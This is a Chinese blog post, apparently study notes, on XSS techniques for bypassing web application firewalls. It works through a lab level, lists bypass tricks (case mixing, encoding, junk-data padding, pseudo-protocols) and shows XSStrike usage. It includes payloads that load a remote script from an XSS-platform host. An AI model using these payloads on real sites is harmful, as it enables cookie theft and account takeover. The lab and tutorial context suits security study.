XSS跨站--WAF绕过和SSR级神器

本文主要内容

常规WAF绕过思路

        标签语法替换、特殊符号干扰、提交方式更改、
        垃圾数据溢出、加密解密算法、结合其他漏洞绕过

关卡模拟

        level1

                ../level1.php?name=<sCRiPt sRC='https://xss8.cc/duHr'>

                ../level1.php?name=<sCRiPt sRC='https://xss8.cc/duHr'/dadasadasd//////asdsad/////#>   

                通过XSS平台提供脚本,请求网址:https://xss.cc/duHrt,第一关输入:

                        --# 为啥这里能过审,有没有大神答疑

                <sCRiPt sRC='https://xss8.cc/duHr'/dadadsadasd//////asdsad/////#>

                WAF拦截了<> 防止出现跨站脚本,但是通过观察网络请求,发现发送了请求,但是403,说明部分内容传输错误,补全'https://xss8.cc/duHr'  请求正常发送,

                第二个是特殊符号干扰,#注释了后面的内容,同时垃圾数据干扰>不被拦截

                ?name=<a/href=&#74;ava%0a%0d%09script&lcolon;alert(1)>click

                针对网站的编码方式进行加解密算法

总结

XSS(跨站脚本攻击)绕过WAF(Web应用防火墙)的方式主要包括以下几种:

1. 标签和属性绕过

  • 替换标签语法:常用的XSS标签(如<script>)容易被WAF拦截。可以尝试使用其他可执行JavaScript的标签,如<img><svg><iframe>等。

    • 示例:</svg onload="alert(1)">。 --# 应该不加/ 但是不加的话可能不过审(头大.)

  • 事件属性绕过:使用其他事件属性(如onmouseoveronclickonload)来触发脚本。

    • 示例:</div onmouseover="alert(1)">Hover me</div>。--# 同理

2. 编码和混淆

  • 编码绕过:对恶意脚本进行编码(如URL编码、Base64编码),以绕过WAF的关键词检测。

    • 示例:将<script>编码为%3Cscript%3E

  • 大小写混淆:通过大小写混合的方式绕过WAF的检测。

    • 示例:<sCript>alert(1)</ScRiPt>

  • 双写绕过:通过重复关键字的方式绕过检测。

    • 示例:<<script>alert(1)</script>

3. 绕过HTML注释符

  • 利用HTML注释符(<!---->)来绕过WAF的检测。

    • 示例:<!--<script>alert(1)</script>-->

4. 垃圾数据填充

  • 向WAF发送大量正常数据包并夹杂异常数据包,增加WAF的负担,使其降低检测精度。

  • 将真正的payload放在大量垃圾数据的后面。

5. 更改提交方式

  • 将GET请求改为POST请求,或者通过Cookie、HTTP Header等方式提交恶意脚本。

    • 示例:如果后台使用$_REQUEST,可以通过Cookie或POST数据绕过WAF。

6. 利用WAF配置不当

  • 分析WAF的配置规则,寻找可能的漏洞或不当之处,如忽略某些类型的请求或参数。

  • 利用旁站或子域名绕过WAF的防护。

7. 利用伪协议

  • 利用HTML属性中的伪协议(如javascript:)来执行恶意脚本。

    • 示例:<a href="javascript:alert(1)">Click me</a>

8. 利用CSS跨站

  • 在某些情况下,利用CSS特性(如expression())执行JavaScript代码。

9. 利用全局变量和函数

  • 利用JavaScript中的全局变量和函数(如eval()window.onload)来执行代码。

10. 自动化工具

  • 使用自动化工具(如XSStrike)来测试WAF的防护效果,并生成绕过WAF的payload。

自动化工具说明

        XSStrike主要特点反射和DOM XSS扫描

网络安全-XSStrike中文手册(自学笔记)-CSDN博客https://blog.csdn.net/lady_killer9/article/details/109105084                遇事不决,fuzz大法,xssfuzzer.com 现在变成颜色网站了....(摸摸额头)

        XSStrike 的主要功能和用途:

1. 自动检测

XSStrike 能够自动发现 Web 应用程序中的 XSS 漏洞,无需用户手动输入或指定漏洞的位置。

2. DOM 检测

该工具支持检测 DOM 型 XSS 漏洞,即基于客户端脚本操作 DOM 结构而产生的漏洞。

3. 自定义负载

用户可以使用自定义的负载进行攻击,这些负载可以根据漏洞的特点进行定制,提高攻击的成功率。

4. 绕过 WAF

XSStrike 具有绕过 Web 应用程序防火墙(WAF)的功能,从而有效地检测和利用 XSS 漏洞。

5. 报告生成

工具能够生成详细的报告,其中包括漏洞的位置、利用的负载、攻击的结果等信息,便于用户进行后续的分析和修复。

6. 漏洞利用

XSStrike 能够利用发现的 XSS 漏洞,执行任意 JavaScript 代码,例如窃取用户的会话 Cookie、重定向用户到恶意网站等行为。

7. 爬虫功能

XSStrike 内置爬虫功能,可以提取目标页面上所有存在的链接,并对这些链接进行 XSS 测试。

8. 模糊测试

XSStrike 集成了模糊测试引擎,能够对参数进行模糊测试并构建合适的 payload。

9. 支持多种请求方式

XSStrike 支持 GET 和 POST 请求方式,并且可以处理 JSON 格式的数据。

10. 低误报率

由于其智能的检测机制和精心构造的 payload,XSStrike 的误报率极低。

11. 其他高级功能

  • 多线程爬取:支持多线程爬取,提高测试效率。

  • 延迟和超时设置:可以设置请求之间的延迟时间和超时时间,以适应不同的测试场景。

  • 代理支持:支持通过代理服务器发送请求。

  • 盲 XSS 检测:在爬取过程中注入盲 XSS 负载。

使用示例

  • 扫描 GET 请求的 URL

    python3 xsstrike.py -u "http://example.com/search.php?q=query"
  • 测试 POST 数据

    python3 xsstrike.py -u "http://example.com/search.php" --data "q=query"
  • 启用爬虫功能

    python3 xsstrike.py -u "http://example.com/page.php" --crawl
  • 绕过 WAF

    python3 xsstrike.py -u "http://example.com/page.php" -e base64

安装方法

  1. 下载 XSStrike

    git clone https://github.com/s0md3v/XSStrike.git
  2. 进入目录并安装依赖

    cd XSStrike
    pip3 install -r requirements.txt
  3. 运行工具

    python3 xsstrike.py
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值